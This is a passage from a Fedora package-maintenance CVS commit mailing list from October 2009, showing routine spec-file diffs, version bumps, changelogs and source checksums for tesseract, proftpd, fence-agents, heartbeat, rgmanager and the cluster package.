+- New upstream release
+- spec file updates:
+  * drop cp_workaround patch
+  * stop shipping rgmanager from cluster
+  * move dlm udev rules in clusterlib where they belong
+
+* Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-2
+- Add temporary workaround to install symlinks
+
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-1
 - New upstream release
 
-* Wed Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-20
+* Thu Aug 20 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.1-1
+- New upstream release
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.0-21
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-20
 - New upstream release
 - spec file updates:
   * Update copyright header


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-10/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	24 Aug 2009 13:40:19 -0000	1.15
+++ sources	21 Oct 2009 11:31:28 -0000	1.16
@@ -1 +1 @@
-d8ef0bd6e18511e3680144832d68df64  cluster-3.0.2.tar.gz
+71011e62b21d97d3a38db463b7987e37  cluster-3.0.4.tar.gz



From karlik at fedoraproject.org  Wed Oct 21 11:33:09 2009
From: karlik at fedoraproject.org (Karol Trzcionka)
Date: Wed, 21 Oct 2009 11:33:09 +0000 (UTC)
Subject: rpms/tesseract/F-11 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 tesseract.spec, 1.7, 1.8
Message-ID: <20091021113309.A1AEF11C00E8@cvs1.fedora.phx.redhat.com>

Author: karlik

Update of /cvs/pkgs/rpms/tesseract/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9983

Modified Files:
	.cvsignore sources tesseract.spec 
Log Message:
Update to v2.04


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	3 May 2008 22:58:53 -0000	1.5
+++ .cvsignore	21 Oct 2009 11:33:09 -0000	1.6
@@ -1,2 +1,2 @@
-tesseract-2.03.tar.gz
+tesseract-2.04.tar.gz
 tesseract-2.00.eng.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	3 May 2008 22:58:53 -0000	1.5
+++ sources	21 Oct 2009 11:33:09 -0000	1.6
@@ -1,2 +1,2 @@
-5777b70b11df16c1ac9aa155d7cfc553  tesseract-2.03.tar.gz
+b44eba1a9f4892ac62e484c807fe0533  tesseract-2.04.tar.gz
 b8291d6b3a63ce7879d688e845e341a9  tesseract-2.00.eng.tar.gz


Index: tesseract.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/F-11/tesseract.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- tesseract.spec	4 Mar 2009 17:13:30 -0000	1.7
+++ tesseract.spec	21 Oct 2009 11:33:09 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		tesseract
-Version:	2.03
-Release:	3%{?dist}
+Version:	2.04
+Release:	1%{?dist}
 Summary:	Raw OCR Engine 
 
 Group:		Applications/File
@@ -15,6 +15,7 @@ BuildRequires:	libtiff-devel
 Summary:	Development files for %{name}
 Group:		Development/Libraries
 Requires:	%{name} = %{version}-%{release}
+Provides:	%{name}-static = %{version}-%{release}
 
 %description
 A commercial quality OCR engine originally developed at HP between 1985 and
@@ -30,11 +31,7 @@ developing applications that use %{name}
 
 %build
 sed -i 's#-DTESSDATA_PREFIX=@datadir@/#-DTESSDATA_PREFIX=@datadir@/%{name}/##' ccutil/Makefile.*
-find . -type f -exec sed -i 's/#include <string>/#include <string>\n#include <cstring>/' {} \; ;
-sed -i 's/#include <iostream>/#include <iostream>\n#include <cstring>/' viewer/svmnode.cpp
-sed -i 's/#include <cstring>/#include <cstring>\n#include <cstdlib>\n#include <stdio.h>/' viewer/svutil.cpp
-sed -i 's/#include <cstring>/#include <cstring>\n#include <climits>/' viewer/scrollview.cpp
-rm -f java/makefile
+sed -i 's/#include <iostream>/#include <iostream>\n#include <cstdio>/' viewer/svutil.cpp
 %configure
 make %{?_smp_mflags}
 
@@ -43,7 +40,6 @@ rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/tesseract
 mv $RPM_BUILD_ROOT%{_datadir}/tessdata $RPM_BUILD_ROOT%{_datadir}/tesseract
-rm -rf $RPM_BUILD_ROOT%{_libdir}
 rm $RPM_BUILD_ROOT%{_datadir}/%{name}/tessdata/{deu,fra,ita,nld,spa}*
 
 
@@ -58,13 +54,18 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/wordlist2dawg
 %{_datadir}/%{name}
 
-%doc AUTHORS ChangeLog COPYING NEWS phototest.tif README 
+%doc AUTHORS ChangeLog COPYING eurotext.tif NEWS phototest.tif README 
 
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/%{name}
+%{_libdir}/lib%{name}*
 
 %changelog
+* Wed Oct 21 2009 Karol Trzcionka <karlikt at gmail.com> - 2.04-1
+- Update to v2.04
+- Add static libraries to -devel subpackage
+
 * Wed Mar 04 2009 Caol?n McNamara <caolanm at redhat.com> - 2.03-3
 - include stdio.h for snprintf
 



From pghmcfc at fedoraproject.org  Wed Oct 21 11:34:58 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Wed, 21 Oct 2009 11:34:58 +0000 (UTC)
Subject: rpms/proftpd/F-12 .cvsignore, 1.16, 1.17 proftpd.spec, 1.57,
	1.58 sources, 1.16, 1.17 proftpd-1.3.2a-defines.patch, 1.1, NONE
Message-ID: <20091021113458.5AB6511C00E8@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/proftpd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10476

Modified Files:
	.cvsignore proftpd.spec sources 
Removed Files:
	proftpd-1.3.2a-defines.patch 
Log Message:
update to 1.3.2b; drop upstreamed defines patch (bug 3221)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/proftpd/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Sep 2009 09:44:31 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:34:58 -0000	1.17
@@ -1,3 +1,3 @@
-proftpd-1.3.2a.tar.bz2
+proftpd-1.3.2b.tar.bz2
 proftpd-mod-vroot-0.8.5.tar.gz
 proftpd-mod-exec-0.9.6.tar.gz


Index: proftpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/proftpd/F-12/proftpd.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- proftpd.spec	17 Sep 2009 22:00:41 -0000	1.57
+++ proftpd.spec	21 Oct 2009 11:34:58 -0000	1.58
@@ -7,11 +7,11 @@
 %endif
 
 #global prever rc3
-%global rpmrel 7
+%global rpmrel 1
 
 Summary:		Flexible, stable and highly-configurable FTP server
 Name:			proftpd
-Version:		1.3.2a
+Version:		1.3.2b
 Release:		%{?prever:0.}%{rpmrel}%{?prever:.%{prever}}%{?dist}
 License:		GPLv2+
 Group:			System Environment/Daemons
@@ -29,7 +29,6 @@ Source9:		proftpd.sysconfig
 Source10:		http://www.castaglia.org/proftpd/modules/proftpd-mod-vroot-0.8.5.tar.gz
 Source11:		http://www.castaglia.org/proftpd/modules/proftpd-mod-exec-0.9.6.tar.gz
 Patch0:			proftpd-1.3.2rc3-nostrip.patch
-Patch1:			proftpd-1.3.2a-defines.patch
 Patch2:			proftpd-1.3.2-parallel-build.patch
 Patch3:			proftpd-1.3.2a-mlsd.patch
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root
@@ -93,9 +92,6 @@ Module to add PostgreSQL support to the 
 # Don't strip binaries - needed for useful debuginfo
 %patch0 -p1 -b .nostrip
 
-# Reinstate command-line defines (http://bugs.proftpd.org/3221)
-%patch1 -p1 -b .defines
-
 # Fix parallel build (http://bugs.proftpd.org/3189)
 %patch2 -p1 -b .parallel
 
@@ -295,6 +291,16 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Paul Howarth <paul at city-fan.org> 1.3.2b-1
+- Update to 1.3.2b
+  - Fixed regression causing command-line define options not to work (bug 3221)
+  - Fixed improper SSL/TLS certificate subjectAltName verification (bug 3275)
+  - Use correct cached user values with "SQLNegativeCache on" (bug 3282)
+  - Fix slower transfers of multiple small files (bug 3284)
+  - Support MaxTransfersPerHost, MaxTransfersPerUser properly (bug 3287)
+  - Handle symlinks to directories with trailing slashes properly (bug 3297)
+- Drop upstreamed defines patch (bug 3221)
+
 * Thu Sep 17 2009 Paul Howarth <paul at city-fan.org> 1.3.2a-7
 - Restore backward SRPM compatibility broken by previous change
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/proftpd/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Sep 2009 09:44:31 -0000	1.16
+++ sources	21 Oct 2009 11:34:58 -0000	1.17
@@ -1,3 +1,3 @@
-ad3cbb5db30c5ae39e09b308892392b3  proftpd-1.3.2a.tar.bz2
+0d6777839f37115654ce384841f68131  proftpd-1.3.2b.tar.bz2
 139fc328c43a9afbe290ec787713096b  proftpd-mod-vroot-0.8.5.tar.gz
 dfcaf605f116c29d7b4771a9b02f509b  proftpd-mod-exec-0.9.6.tar.gz


--- proftpd-1.3.2a-defines.patch DELETED ---



From fabbione at fedoraproject.org  Wed Oct 21 11:35:46 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:35:46 +0000 (UTC)
Subject: rpms/fence-agents/devel .cvsignore, 1.14, 1.15 fence-agents.spec,
	1.17, 1.18 sources, 1.14, 1.15
Message-ID: <20091021113546.3BF2711C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10741

Modified Files:
	.cvsignore fence-agents.spec sources 
Log Message:
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	25 Sep 2009 10:30:53 -0000	1.14
+++ .cvsignore	21 Oct 2009 11:35:44 -0000	1.15
@@ -1 +1 @@
-fence-agents-3.0.3.tar.gz
+fence-agents-3.0.4.tar.gz


Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/devel/fence-agents.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- fence-agents.spec	25 Sep 2009 10:30:53 -0000	1.17
+++ fence-agents.spec	21 Oct 2009 11:35:44 -0000	1.18
@@ -18,7 +18,7 @@
 
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -39,6 +39,7 @@ BuildRequires: perl python
 BuildRequires: glibc-devel
 BuildRequires: nss-devel nspr-devel
 BuildRequires: libxml2-devel libvirt-devel
+BuildRequires: libxslt pexpect
 BuildRequires: clusterlib-devel >= 3.0.0
 BuildRequires: corosynclib-devel >= 1.0.0-1
 BuildRequires: openaislib-devel >= 1.0.0-1
@@ -84,6 +85,10 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- BuildRequire libxslt and pexpect for automatic man page generation
+
 * Wed Sep 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	25 Sep 2009 10:30:54 -0000	1.14
+++ sources	21 Oct 2009 11:35:45 -0000	1.15
@@ -1 +1 @@
-3c418463f61d27e605a979ae2a7ea44c  fence-agents-3.0.3.tar.gz
+1b672d49725e3d38cdebe8c6e66eb2ee  fence-agents-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:37:37 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:37:37 +0000 (UTC)
Subject: rpms/fence-agents/F-12 .cvsignore, 1.14, 1.15 fence-agents.spec,
	1.17, 1.18 sources, 1.14, 1.15
Message-ID: <20091021113737.2172511C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11500

Modified Files:
	.cvsignore fence-agents.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	25 Sep 2009 10:30:53 -0000	1.14
+++ .cvsignore	21 Oct 2009 11:37:36 -0000	1.15
@@ -1 +1 @@
-fence-agents-3.0.3.tar.gz
+fence-agents-3.0.4.tar.gz


Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-12/fence-agents.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- fence-agents.spec	25 Sep 2009 10:30:53 -0000	1.17
+++ fence-agents.spec	21 Oct 2009 11:37:36 -0000	1.18
@@ -18,7 +18,7 @@
 
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -39,6 +39,7 @@ BuildRequires: perl python
 BuildRequires: glibc-devel
 BuildRequires: nss-devel nspr-devel
 BuildRequires: libxml2-devel libvirt-devel
+BuildRequires: libxslt pexpect
 BuildRequires: clusterlib-devel >= 3.0.0
 BuildRequires: corosynclib-devel >= 1.0.0-1
 BuildRequires: openaislib-devel >= 1.0.0-1
@@ -84,6 +85,10 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- BuildRequire libxslt and pexpect for automatic man page generation
+
 * Wed Sep 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	25 Sep 2009 10:30:54 -0000	1.14
+++ sources	21 Oct 2009 11:37:36 -0000	1.15
@@ -1 +1 @@
-3c418463f61d27e605a979ae2a7ea44c  fence-agents-3.0.3.tar.gz
+1b672d49725e3d38cdebe8c6e66eb2ee  fence-agents-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:40:02 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:40:02 +0000 (UTC)
Subject: rpms/fence-agents/F-11 .cvsignore, 1.8, 1.9 fence-agents.spec, 1.12,
	1.13 sources, 1.9, 1.10
Message-ID: <20091021114002.7BA5B11C02A6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12359

Modified Files:
	.cvsignore fence-agents.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Oct 2009 05:50:38 -0000	1.8
+++ .cvsignore	21 Oct 2009 11:40:01 -0000	1.9
@@ -1 +1 @@
-fence-agents-3.0.3.tar.gz
+fence-agents-3.0.4.tar.gz


Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/fence-agents.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- fence-agents.spec	9 Oct 2009 05:50:38 -0000	1.12
+++ fence-agents.spec	21 Oct 2009 11:40:02 -0000	1.13
@@ -18,7 +18,7 @@
 
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -27,7 +27,7 @@ Source0: ftp://sources.redhat.com/pub/cl
 
 ## Runtime deps
 Requires: sg3_utils OpenIPMI telnet openssh-clients
-Requires: pexpect net-snmp-utils libvirt
+Requires: pexpect net-snmp-utils libvirt-client
 Requires: perl-Net-Telnet
 
 ## Setup/build bits
@@ -39,6 +39,7 @@ BuildRequires: perl python
 BuildRequires: glibc-devel
 BuildRequires: nss-devel nspr-devel
 BuildRequires: libxml2-devel libvirt-devel
+BuildRequires: libxslt pexpect
 BuildRequires: clusterlib-devel >= 3.0.0
 BuildRequires: corosynclib-devel >= 1.0.0-1
 BuildRequires: openaislib-devel >= 1.0.0-1
@@ -84,7 +85,11 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
-* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- BuildRequire libxslt and pexpect for automatic man page generation
+
+* Wed Sep 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release
 
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	9 Oct 2009 05:50:38 -0000	1.9
+++ sources	21 Oct 2009 11:40:02 -0000	1.10
@@ -1 +1 @@
-3c418463f61d27e605a979ae2a7ea44c  fence-agents-3.0.3.tar.gz
+1b672d49725e3d38cdebe8c6e66eb2ee  fence-agents-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:42:54 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:42:54 +0000 (UTC)
Subject: rpms/fence-agents/F-10 .cvsignore, 1.4, 1.5 fence-agents.spec, 1.6, 
	1.7 sources, 1.5, 1.6
Message-ID: <20091021114254.5369011C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13818

Modified Files:
	.cvsignore fence-agents.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	24 Aug 2009 13:43:24 -0000	1.4
+++ .cvsignore	21 Oct 2009 11:42:54 -0000	1.5
@@ -1 +1 @@
-fence-agents-3.0.2.tar.gz
+fence-agents-3.0.4.tar.gz


Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-10/fence-agents.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- fence-agents.spec	24 Aug 2009 13:43:24 -0000	1.6
+++ fence-agents.spec	21 Oct 2009 11:42:54 -0000	1.7
@@ -18,7 +18,7 @@
 
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
-Version: 3.0.2
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -27,7 +27,7 @@ Source0: ftp://sources.redhat.com/pub/cl
 
 ## Runtime deps
 Requires: sg3_utils OpenIPMI telnet openssh-clients
-Requires: pexpect net-snmp-utils libvirt
+Requires: pexpect net-snmp-utils libvirt-client
 Requires: perl-Net-Telnet
 
 ## Setup/build bits
@@ -39,6 +39,7 @@ BuildRequires: perl python
 BuildRequires: glibc-devel
 BuildRequires: nss-devel nspr-devel
 BuildRequires: libxml2-devel libvirt-devel
+BuildRequires: libxslt pexpect
 BuildRequires: clusterlib-devel >= 3.0.0
 BuildRequires: corosynclib-devel >= 1.0.0-1
 BuildRequires: openaislib-devel >= 1.0.0-1
@@ -84,12 +85,28 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- BuildRequire libxslt and pexpect for automatic man page generation
+
+* Wed Sep 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- New upstream release
+
+* Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-2
+- Fix changelog.
+
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-1
 - New upstream release
 - spec file updates:
   * remove dust from runtime dependencies
 
-* Wed Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-14
+* Thu Aug 20 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.1-1
+- New upstream release
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.0-15
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-14
 - New upstream release
 - spec file updates:
   * Update copyright header


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	24 Aug 2009 13:43:24 -0000	1.5
+++ sources	21 Oct 2009 11:42:54 -0000	1.6
@@ -1 +1 @@
-bbad9ff97a7ce268e43de2cc2aa297f7  fence-agents-3.0.2.tar.gz
+1b672d49725e3d38cdebe8c6e66eb2ee  fence-agents-3.0.4.tar.gz



From beekhof at fedoraproject.org  Wed Oct 21 11:45:23 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Wed, 21 Oct 2009 11:45:23 +0000 (UTC)
Subject: rpms/heartbeat/devel heartbeat.spec,1.39,1.40
Message-ID: <20091021114523.4F76E11C00E8@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/heartbeat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14469

Modified Files:
	heartbeat.spec 
Log Message:
Pull from F-12


Index: heartbeat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/heartbeat/devel/heartbeat.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- heartbeat.spec	21 Aug 2009 13:48:52 -0000	1.39
+++ heartbeat.spec	21 Oct 2009 11:45:22 -0000	1.40
@@ -2,7 +2,7 @@
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with:
 # hg archive -t tgz -p "Linux-HA-Dev-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 4
+%global specversion 5
 %global upstreamprefix Linux-HA-Dev-
 %global upstreamversion 0daab7da36a8
 
@@ -15,7 +15,7 @@
 Summary:          Messaging and membership subsystem for High-Availability Linux
 Name:             heartbeat
 Version:          3.0.0
-Release:          %{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}.1
+Release:          %{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
 License:          GPLv2 and LGPLv2+
 URL:              http://linux-ha.org/
 Group:            System Environment/Daemons
@@ -136,7 +136,7 @@ fi
 %doc %{_datadir}/doc/%{name}-%{version}
 %dir %{_sysconfdir}/ha.d
 %{_sysconfdir}/ha.d/harc
-%config(noreplace) %{_sysconfdir}/ha.d/shellfuncs
+%exclude %{_sysconfdir}/ha.d/shellfuncs
 %{_sysconfdir}/ha.d/rc.d
 %config(noreplace) %{_sysconfdir}/ha.d/README.config
 %{_datadir}/heartbeat/
@@ -176,6 +176,9 @@ fi
 %{_libdir}/*.so
 
 %changelog
+* Thu Oct 15 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.0-0.5.0daab7da36a8.hg
+- Resolve file conflict, shellfuncs is provided by resource-agents
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 3.0.0-0.4.0daab7da36a8.hg.1
 - rebuilt with new openssl
 



From fabbione at fedoraproject.org  Wed Oct 21 11:49:12 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:49:12 +0000 (UTC)
Subject: rpms/rgmanager/devel .cvsignore, 1.16, 1.17 rgmanager.spec, 1.46,
	1.47 sources, 1.25, 1.26
Message-ID: <20091021114912.302C211C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/rgmanager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15286

Modified Files:
	.cvsignore rgmanager.spec sources 
Log Message:
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	25 Sep 2009 10:58:53 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:49:11 -0000	1.17
@@ -1 +1 @@
-rgmanager-3.0.3.tar.gz
+rgmanager-3.0.4.tar.gz


Index: rgmanager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/devel/rgmanager.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- rgmanager.spec	25 Sep 2009 10:58:54 -0000	1.46
+++ rgmanager.spec	21 Oct 2009 11:49:11 -0000	1.47
@@ -18,7 +18,7 @@
 
 Name: rgmanager
 Summary: Open Source HA Resource Group Failover for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -87,5 +87,8 @@ fi
 %{_mandir}/man8/clu*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+
 * Tue Sep  1 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - Split from cluster srpm


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	25 Sep 2009 10:58:55 -0000	1.25
+++ sources	21 Oct 2009 11:49:11 -0000	1.26
@@ -1 +1 @@
-3cb25e8ddfd229831a37ba31a8b7ad56  rgmanager-3.0.3.tar.gz
+17b0d93350e2bd719e3b684a5d6de1fe  rgmanager-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:50:31 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:50:31 +0000 (UTC)
Subject: rpms/rgmanager/F-12 .cvsignore, 1.16, 1.17 rgmanager.spec, 1.46,
	1.47 sources, 1.25, 1.26
Message-ID: <20091021115031.77D4E11C02A4@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/rgmanager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15549

Modified Files:
	.cvsignore rgmanager.spec sources 
Log Message:
New upstream release fixes different bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	25 Sep 2009 10:58:53 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:50:31 -0000	1.17
@@ -1 +1 @@
-rgmanager-3.0.3.tar.gz
+rgmanager-3.0.4.tar.gz


Index: rgmanager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rgmanager/F-12/rgmanager.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- rgmanager.spec	25 Sep 2009 10:58:54 -0000	1.46
+++ rgmanager.spec	21 Oct 2009 11:50:31 -0000	1.47
@@ -18,7 +18,7 @@
 
 Name: rgmanager
 Summary: Open Source HA Resource Group Failover for Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -87,5 +87,8 @@ fi
 %{_mandir}/man8/clu*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+
